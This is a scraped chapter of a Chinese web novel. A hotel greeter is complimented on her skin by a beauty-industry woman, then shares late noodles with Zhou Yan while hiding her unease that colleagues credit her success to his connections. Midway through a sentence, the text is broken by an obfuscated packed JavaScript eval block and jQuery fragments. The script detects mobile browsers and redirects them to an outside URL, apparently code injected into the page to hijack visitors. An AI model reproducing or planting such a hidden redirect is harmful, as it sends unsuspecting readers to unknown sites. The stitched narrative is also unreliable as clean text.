17. 第 17 章
作品:《救星》 晚班结束的时候已经过了十点,大堂早就没了人,前台关掉电脑,和谢止姝打了个招呼便先行离开了。
谢止姝一个人把迎宾台面上散落的宣传册擂整齐,弯腰查看了地面还有没有其他散落的杂物,确认没什么问题后,才往外头走。
更衣室里空荡荡的,头顶的灯光将整面墙照得发白,她脱下制服挂好,换上自己的便装。
刘主管曾旁敲侧击地叮嘱过她,除了上班时间,平日里在酒店区域走动要注意形象,毕竟出入代表的是酒店员工。
谢止姝听完,索性直接就用新发的工资给自己买了几套好看的新衣服和新鞋,认真地将自己从上到下都打扮了一遍。
之前的衣服也确实破旧,松松垮垮,京山不比崖山,这里繁华、现代,她总不能一直是从前那副灰扑扑的模样。
她把工牌从制服的胸口上摘下来放进柜子,关上门的时候犹豫了一下,又打开看了一眼,确认工牌放好,才重新锁好。
她揉了揉脖子,推开更衣室的门,往走廊尽头的洗手间走去。
这个点公共洗手间很少人,谢止姝走到洗手台前拧开水龙头洗了洗手,抬头看着镜子里的自己。
头发盘了一天,放下来后有点卷,贴在脸颊两边,脸上还带着点妆,很淡,只是把肤色弄均匀了点而已。
她用纸巾沾了点水,把眼角晕开的一点眼线浅浅擦了擦,又整理了一下裙子的裙摆。
身后传来推门的声音,她抬头从镜子里看了看,一个女人走进来,米白色的套装,头发烫成大卷披在肩上,手里拿着一只浅色的手拿包。
女人没看她,径直走到洗手台前,把手拿包放在台面上打开,从里面径直拿出一只口红。
谢止姝往旁边让了一步,继续整理自己的衣服。做这些动作的时候她侧脸对着镜子,光线从头顶照下来,刚好落在她的下颌线和脖子上。
女人拧开口红盖,正要补妆,余光扫了一眼镜子,手忽然停了下来。
她没说话,就是看着镜子里那个侧脸。
年轻女孩的皮肤在洗手间的白光下看得清清楚楚,没有厚重的粉底,也没有修容的阴影,就是一张干干净净的脸。
脸颊到下颌的线条很利落,耳后到脖子的那一截肤色均匀,没有色差,毛孔细到几乎看不见,鼻梁两侧的皮肤透着一点自然的红。
女人做美容行业几十年,见过太多张脸,现在的小姑娘,十个里有九个把脸当试验田,水乳精华面霜一层一层往上糊,糊到最后皮肤反而变得敏感又脆弱。
眼前这张脸不一样,好看得就像是玉做的一样,什么多余的东西都没有,底子好得让人一眼就看出来。
她放下口红,转过身看着谢止姝:“小姑娘,你平时都是怎么护肤的?”
谢止姝愣了一下,没想到会有人在这种地方问这种问题,她想了想,说:“我平时不护肤的。”
她说的是实话,在崖山的时候,洗脸用清水,冬天太干了就抹一点几块钱的蛇油膏。到了淇州,厂里的宿舍有了热水,她洗得勤快了些,但也没买过什么护肤品。来京山之后,刘主管教她化妆,说上妆前要打底,她才知道原来脸上要涂那么多层东西。但她嫌麻烦,每天就涂刘主管给她的那瓶乳液,涂完就完事了。
女人听完她的话,眼睛亮了一下。行家听到意外答案,她有些感慨,一个年轻女孩,在这个满大街都是护肤营销的年代,说出“我没护肤过”这几个字,比说出“我用某某品牌”要难得多了。
她的皮肤能保持这个状态,说明底子根本就不需要那么多东西去堆。
女人没再多问,低头从手拿包里翻出一张名片递过去:“你的皮肤底子很好,长得也漂亮,如果愿意,我可以带带你。”
谢止姝微讶,接过名片,低头看了一眼。纸张很厚,边缘烫了金,印着一个品牌名字和一串号码。
她抬头想说点什么,女人已经拿起手包,对她笑了一下,转身推门出去了。
高跟鞋踩在地砖上,嗒嗒的声音越来越远。谢止姝站在洗手台前,手里捏着那张名片,看着镜子里的自己。
她摸了摸脸颊,皮肤平滑,没有斑点,也没有痘痘,而且因为伙食的改善,肤色也比先前白皙。
可即使如此,她也不觉得这有什么特别。
出于尊重,谢止姝将名片小心放进随身携带的托特包里,拧开水龙头又洗了一把脸,用纸擦干,推门出去。
外头的雨已经停了,水迹留在地面反射出点点灯光,谢止姝走到门口,宿舍楼就在前面,几扇窗户亮着灯,她正准备往前走,但一转头,远远就看见了那辆熟悉的车。
黑色轿车停在路边,车漆在路灯下泛着淡淡的光。她脚步慢下来,车窗开着,驾驶座里的人的侧脸被仪表盘里的光照出半明半暗的轮廓。
谢止姝微微一怔,走上前去,弯腰往车窗里看,小声试探道:“周哥哥?”
周琰转过头,目光落在她的脸上。
她应该是刚下班,头发放了下来,被风吹得有些乱,脸上还带着淡淡的妆容。
他嘴角动了一下,算是打了招呼。
“你怎么在这?”谢止姝问。
但话落她就觉得这个问题多余了,周琰没有回答,他只是看了她一眼,问:“刚下班?”
“嗯。”她点头,把被风吹乱的发丝往后拢了拢。
她看见他的手搭在方向盘上,手指松松地垂着,情绪有些低落,和平时平淡少话的样子好像不太一样。
她想了想,问:“你吃饭了吗?”
这个时候已经十一点多了,她以为他会说吃了,但周琰沉默了一下,说:“还没。”
谢止姝看着他,整个人窝在驾驶座里,眼皮微微垂着,看上去状态不佳。
“前面有一家面馆,还开着。”她手指往街对面指了指:“你要不要吃点东西?”
周琰看着她,她的脸从车窗外探进来,头发被风吹得遮住了半边脸,她用手拨开,眼睛一直看着他,在等他说话。
想了想,他把车熄了火,推开车门走下来。
站在她面前的时候,路灯的光被他挡住大半,她的影子缩在脚边。
“走吧。”周琰看着她。
面馆在街对面,还
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17469080|201380||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
要往里走一段,店面不大,玻璃门擦得透亮,暖黄色的灯光从里面透出来,此刻老板正趴在柜台上打瞌睡,听见门响抬起头,一看见谢止姝就笑了。
“小姑娘今天这么晚?”他看了一眼她身后的周琰,没多问,起身往厨房走。
“老板,两碗牛肉面。”谢止姝对着他的背影喊了一声,随后找了个靠窗的位置坐下,将头发拢到耳后。
周琰坐在她对面,把外套的领口的扣子解开了一颗,动作很慢,像是终于到了一个可以放松呼吸的地方。
面不久后端上来,热气直冒。
谢止姝低头喝了一口汤,烫得她眯了一下眼睛。
周琰看着她:“慢点,小心烫。”
谢止姝抬起头,不好意思地笑了一下:“我每次来都这样,习惯了。”
她拿起筷子夹了一点面,塞进嘴里。吃了几口,又抬起头:“周哥哥,我这周工作,刘主管说我已经不用她盯着了。”
谢止姝嘴角微弯:“前天酒店来了一个团,好多人,我一个人全迎进去了,一个都没错。方经理正好路过,看了我一眼,没说话,但点了点头。”
她学着方经理点头的样子,下巴一收,表情绷得严肃,绷不住又自己笑了出来:“就这样,点了一下,我觉得她是在夸我。”
周琰看着她,面馆的灯光暖黄,打在她的脸上,把她眉眼间的那点得意照得很清楚。
他想起她刚来京山,整个人缩着,站在酒店大堂就像是一只不知道往哪放的小蜗牛。
现在她坐在他对面,穿着荷叶边衬衫,搭配半身裙,脚上穿着合适的高跟鞋,头发散下来,气质干练又知性,说起工作来,眼睛里都是光。
“还有上周。”她夹了一筷子面,又放下:“一个客人喝多了,在大堂吵,我按照培训教的先给他倒了杯温水,慢慢和他说话,后来他坐了一会自己就走了,刘主管说换个人可能就慌了,一直夸我很稳重。”
她说话时,语气带着几分不好意思,可眼里十分清亮。这些话大概在心里憋了很久,如今总算找到了一个能说出口的人。
周琰搅了搅碗里的面:“工作上还顺心吗?”
谢止姝的筷子停在半空中,顿了一下。脑子闪过那句“人家有人罩着的”,还有同事和她说话时那层薄薄的客气。
那些人对她的好是虚假,所有只是因为刘主管对她好,而刘主管和方经理之所以对她好,是因为周琰。
她很不喜欢这种感觉,这让所有人自然而然地将她的努力和汗水全部归结于“关系”这个词,轻描淡写地就淹没了她全部的付出。
她不可能一辈子都活在周琰为她遮挡的阴影下。对于这种困境她觉得很不舒服,但她说不出口,说出来像是她不识好歹,可不说出来心里又堵得慌。
谢止姝抬头看了周琰一眼,笑了一下:“都挺好的,大家都很照顾我。”
说完她继续低下头吃面,一点点把面送进嘴里,吃得很慢。
周琰看了她一眼,她在灯光下很安静,睫毛垂着,看不出什么表情。
他没有追问,低下头继续吃自己的面。

